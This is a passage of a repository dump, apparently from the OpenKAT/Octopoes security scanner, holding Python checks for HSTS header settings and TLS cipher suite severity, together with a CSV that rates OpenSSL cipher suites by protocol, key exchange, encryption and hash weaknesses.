    "path": "octopoes/bits/check_hsts_header/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.web import HTTPHeader\n\nBIT = BitDefinition(\n    id=\"check-hsts-header\",\n    consumes=HTTPHeader,\n    parameters=[],\n    module=\"bits.check_hsts_header.check_hsts_header\",\n    config_ooi_relation_path=\"HTTPHeader.resource.website.hostname.network\",\n)\n"
  },
  {
    "path": "octopoes/bits/check_hsts_header/check_hsts_header.py",
    "content": "import datetime\nfrom collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import HTTPHeader\n\n\ndef run(input_ooi: HTTPHeader, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    header = input_ooi\n    if header.key.lower() != \"strict-transport-security\":\n        return\n\n    one_year = datetime.timedelta(days=365).total_seconds()\n\n    max_age = int(config.get(\"max-age\", one_year)) if config else one_year\n    findings: list[str] = []\n\n    headervalue = header.value.lower()\n    if \"includesubdomains\" not in headervalue:\n        findings.append(\"The HSTS should include subdomains.\")\n\n    if \"max-age\" not in headervalue:\n        findings.append(\"The cache validity period of the HSTS should be defined and should be at least 1 year.\")\n\n    try:\n        if \"max-age\" in headervalue and int(headervalue.split(\"=\")[1].strip('\"').split(\";\")[0]) < max_age:\n            findings.append(f\"The cache validity period of the HSTS should be at least be {max_age} seconds.\")\n    except ValueError:\n        findings.append(\"The max-age value should be an integer.\")\n\n    if findings:\n        description: str = \"List of HSTS findings:\\n\"\n        for index, finding in enumerate(findings):\n            description += f\"\\n {index + 1}. {finding}\"\n\n        yield from _create_kat_finding(header.reference, kat_id=\"KAT-HSTS-VULNERABILITIES\", description=description)\n\n\ndef _create_kat_finding(header: Reference, kat_id: str, description: str) -> Iterator[OOI]:\n    finding_type = KATFindingType(id=kat_id)\n    yield finding_type\n    yield Finding(finding_type=finding_type.reference, ooi=header, description=description)\n"
  },
  {
    "path": "octopoes/bits/cipher_classification/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/cipher_classification/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.service import TLSCipher\n\nBIT = BitDefinition(\n    id=\"cipher-classification\",\n    consumes=TLSCipher,\n    parameters=[],\n    module=\"bits.cipher_classification.cipher_classification\",\n)\n"
  },
  {
    "path": "octopoes/bits/cipher_classification/cipher_classification.py",
    "content": "import csv\nfrom collections.abc import Iterator\nfrom pathlib import Path\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.service import TLSCipher\n\nSEVERITY_TO_ID = {\n    \"Critical\": \"KAT-CRITICAL-BAD-CIPHER\",\n    \"Medium\": \"KAT-MEDIUM-BAD-CIPHER\",\n    \"Recommendation\": \"KAT-RECOMMENDATION-BAD-CIPHER\",\n}\n\n\ndef get_severity_and_reasons(cipher_suite: str) -> list[tuple[str, str]]:\n    with Path.open(Path(__file__).parent / \"list-ciphers-openssl-with-finding-type.csv\", newline=\"\") as csvfile:\n        reader = csv.DictReader(csvfile)\n        data = [{k.strip(): v.strip() for k, v in row.items() if k} for row in reader]\n\n    # Filter the data for the provided cipher suite\n    cipher_suite_data = [row for row in data if row[\"Cipher suite\"] == cipher_suite]\n\n    # If the cipher suite is not found, return an empty list\n    if not cipher_suite_data:\n        return [(\"Recommendation\", \"Unknown cipher\")]\n\n    # Columns that contain severities\n    severity_cols = [col for col in data[0] if \"Severity\" in col]\n\n    # Columns that contain reasons\n    reason_cols = [col for col in data[0] if \"Title\" in col]\n\n    severities_and_reasons = []\n    for row in cipher_suite_data:\n        for severity_col, reason_col in zip(severity_cols, reason_cols):\n            # Check if there's a severity rating and a reason in the row\n            if row[severity_col] and row[reason_col]:\n                # Append the severity and reason as a tuple to the list\n                severities_and_reasons.append(\n                    (row[severity_col], f\"{cipher_suite} - {row[reason_col]} ({row[severity_col]}).\")\n                )\n    return severities_and_reasons\n\n\ndef get_highest_severity_and_all_reasons(cipher_suites: dict) -> tuple[str, str]:\n    # Define severity levels\n    severity_levels = {\"Critical\": 3, \"Medium\": 2, \"Recommendation\": 1}\n\n    # Get severities and reasons\n    severities_and_reasons = []\n    for protocol, suites in cipher_suites.items():\n        for suite in suites:\n            severities_and_reasons.extend(get_severity_and_reasons(suite[\"cipher_suite_name\"]))\n\n    if not severities_and_reasons:\n        return \"\", \"\"\n\n    # Initialize highest severity and corresponding reasons\n    highest_severity_level = 0\n    highest_severity = \"\"\n    all_reasons = []\n\n    for severity, reason in severities_and_reasons:\n        # Update highest severity level and reasons if a higher severity level is found\n        if severity_levels.get(severity, 0) > highest_severity_level:\n            highest_severity_level = severity_levels.get(severity, 0)\n            highest_severity = severity\n        # Add all reasons to the list\n        if severity in severity_levels:\n            all_reasons.append(reason)\n\n    # Join all reasons into a single string, separated by newlines\n    all_reasons_str = \"\\n\".join(all_reasons)\n\n    return highest_severity, all_reasons_str\n\n\ndef run(input_ooi: TLSCipher, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    # Get the highest severity and all reasons for the cipher suite\n    highest_severity, all_reasons = get_highest_severity_and_all_reasons(input_ooi.suites)\n\n    # If no severity is found, return an empty list\n    if not highest_severity:\n        return\n\n    if highest_severity in SEVERITY_TO_ID:\n        ft = KATFindingType(id=SEVERITY_TO_ID[highest_severity])\n        yield ft\n        yield Finding(\n            finding_type=ft.reference,\n            ooi=input_ooi.reference,\n            description=f\"One or more of the cipher suites should not be used because:\\n{all_reasons}\",\n        )\n"
  },
  {
    "path": "octopoes/bits/cipher_classification/list-ciphers-openssl-with-finding-type.csv",
    "content": "Cipher suite,Protocol version,Notes,Rating protocol version,Finding protocol versie,Key exchange,Severity rating key exchange,Title finding key exchange algorithm,Authentication,Severity rating certificate verification algorithm,Title finding based on certificate verification algorithm,Encryption,Severity rating based on bulk encryption algorithm,Title finding bulk encryption algorithm,Hash,Severity rating based on hash algorithm,Title finding based on hash algorithm\nDHE-PSK-AES128-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESCCM(128),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nPSK-AES128-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESCCM(128),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nECDHE-ECDSA-AES128-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AESCCM(128),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-RSA-AES128-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AESCCM(128),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nAES128-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AESCCM(128),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-PSK-AES256-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESCCM(256),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nPSK-AES256-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESCCM(256),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nECDHE-ECDSA-AES256-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AESCCM(256),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-RSA-AES256-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AESCCM(256),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nAES256-CCM,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AESCCM(256),Medium,Using CCM as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-PSK-AES128-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESCCM8(128),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nPSK-AES128-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESCCM8(128),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nECDHE-ECDSA-AES128-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AESCCM8(128),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-RSA-AES128-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AESCCM8(128),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nAES128-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AESCCM8(128),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-PSK-AES256-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESCCM8(256),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nPSK-AES256-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESCCM8(256),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nECDHE-ECDSA-AES256-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AESCCM8(256),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-RSA-AES256-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AESCCM8(256),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nAES256-CCM8,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AESCCM8(256),Critical,Using CCM-8 as bulk encryption algorithm,Mac=AEAD,n/a,\nADH-AES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nDHE-PSK-AES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nPSK-AES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nDHE-DSS-AES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nTLS_AES_128_GCM_SHA256,TLSv1.3,,n/a,,Kx=any,n/a,,Au=any,,,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nECDHE-ECDSA-AES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nDHE-RSA-AES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nECDHE-RSA-AES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nAES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nRSA-PSK-AES128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=AESGCM(128),n/a,n/a,Mac=AEAD,n/a,\nADH-AES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nDHE-PSK-AES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nPSK-AES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nDHE-DSS-AES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nTLS_AES_256_GCM_SHA384,TLSv1.3,,n/a,,Kx=any,n/a,,Au=any,,,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nECDHE-ECDSA-AES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nDHE-RSA-AES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nECDHE-RSA-AES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nAES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nRSA-PSK-AES256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=AESGCM(256),n/a,n/a,Mac=AEAD,n/a,\nDHE-PSK-ARIA128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=ARIAGCM(128),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nPSK-ARIA128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=ARIAGCM(128),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-DSS-ARIA128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=ARIAGCM(128),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nECDHE-ECDSA-ARIA128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=ARIAGCM(128),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-RSA-ARIA128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=ARIAGCM(128),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nECDHE-ARIA128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=ARIAGCM(128),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nARIA128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=ARIAGCM(128),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nRSA-PSK-ARIA128-GCM-SHA256,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=ARIAGCM(128),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-PSK-ARIA256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=ARIAGCM(256),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nPSK-ARIA256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=ARIAGCM(256),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-DSS-ARIA256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=ARIAGCM(256),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nECDHE-ECDSA-ARIA256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=ARIAGCM(256),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-RSA-ARIA256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=ARIAGCM(256),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nECDHE-ARIA256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=ARIAGCM(256),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nARIA256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=ARIAGCM(256),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nRSA-PSK-ARIA256-GCM-SHA384,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=ARIAGCM(256),Critical,Using ARIA as bulk encryption algorithm,Mac=AEAD,n/a,\nDHE-PSK-CHACHA20-POLY1305,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=CHACHA20/POLY1305(256),n/a,,Mac=AEAD,n/a,\nECDHE-PSK-CHACHA20-POLY1305,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=CHACHA20/POLY1305(256),n/a,,Mac=AEAD,n/a,\nPSK-CHACHA20-POLY1305,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=CHACHA20/POLY1305(256),n/a,,Mac=AEAD,n/a,\nTLS_CHACHA20_POLY1305_SHA256,TLSv1.3,,n/a,,Kx=any,n/a,,Au=any,,,Enc=CHACHA20/POLY1305(256),n/a,,Mac=AEAD,n/a,\nECDHE-ECDSA-CHACHA20-POLY1305,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=CHACHA20/POLY1305(256),n/a,,Mac=AEAD,n/a,\nDHE-RSA-CHACHA20-POLY1305,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=CHACHA20/POLY1305(256),n/a,,Mac=AEAD,n/a,\nECDHE-RSA-CHACHA20-POLY1305,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=CHACHA20/POLY1305(256),n/a,,Mac=AEAD,n/a,\nRSA-PSK-CHACHA20-POLY1305,TLSv1.2,,Recommendation,TLSv1.2 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=CHACHA20/POLY1305(256),n/a,,Mac=AEAD,n/a,\nNULL-MD5,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=None,Critical,Using null ciphers as bulk encryption algorithm,Mac=MD5,Critical,Using MD5 as hash function\nADH-AES128-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nAECDH-AES128-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-PSK-AES128-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-PSK-AES128-CBC-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nPSK-AES128-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nSRP-AES-128-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=SRP,Critical,\"Unsafe key exchange algorithm, using SRP\",Au=SRP,Critical,SRP as certificate verification cipher detected,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-DSS-AES128-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nSRP-DSS-AES-128-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=SRP,Critical,\"Unsafe key exchange algorithm, using SRP\",Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-ECDSA-AES128-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDH,n/a,,Au=ECDSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-RSA-AES128-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-RSA-AES128-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDH,n/a,,Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nAES128-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSA,Medium,\"Outdated key exchange algorithm detected, using RSA\",Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nRSA-PSK-AES128-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=RSAPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nSRP-RSA-AES-128-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=SRP,Critical,\"Unsafe key exchange algorithm, using SRP\",Au=RSA,n/a,,Enc=AES(128),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nADH-AES256-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nAECDH-AES256-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDH,Critical,Supporting unsafe anonymous key exchanges,Au=None,Critical,Anonymous certificate verification ciphers detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-PSK-AES256-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nECDHE-PSK-AES256-CBC-SHA,TLSv1,,Medium,TLSv1.0 protocol detected,Kx=ECDHEPSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nPSK-AES256-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=PSK,Critical,\"Unsafe key exchange algorithm, using PSK\",Au=PSK,Critical,PSK as certificate verification cipher detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nSRP-AES-256-CBC-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=SRP,Critical,\"Unsafe key exchange algorithm, using SRP\",Au=SRP,Critical,SRP as certificate verification cipher detected,Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash function\nDHE-DSS-AES256-SHA,SSLv3,,Critical,Outdated SSLv3 protocol detected,Kx=DH,n/a,,Au=DSS,Critical,\"Unsafe certificate verification algorithm, using DSS\",Enc=AES(256),Medium,Using CBC as bulk encryption algorithm,Mac=SHA1,Medium,Using SHA-1 as hash 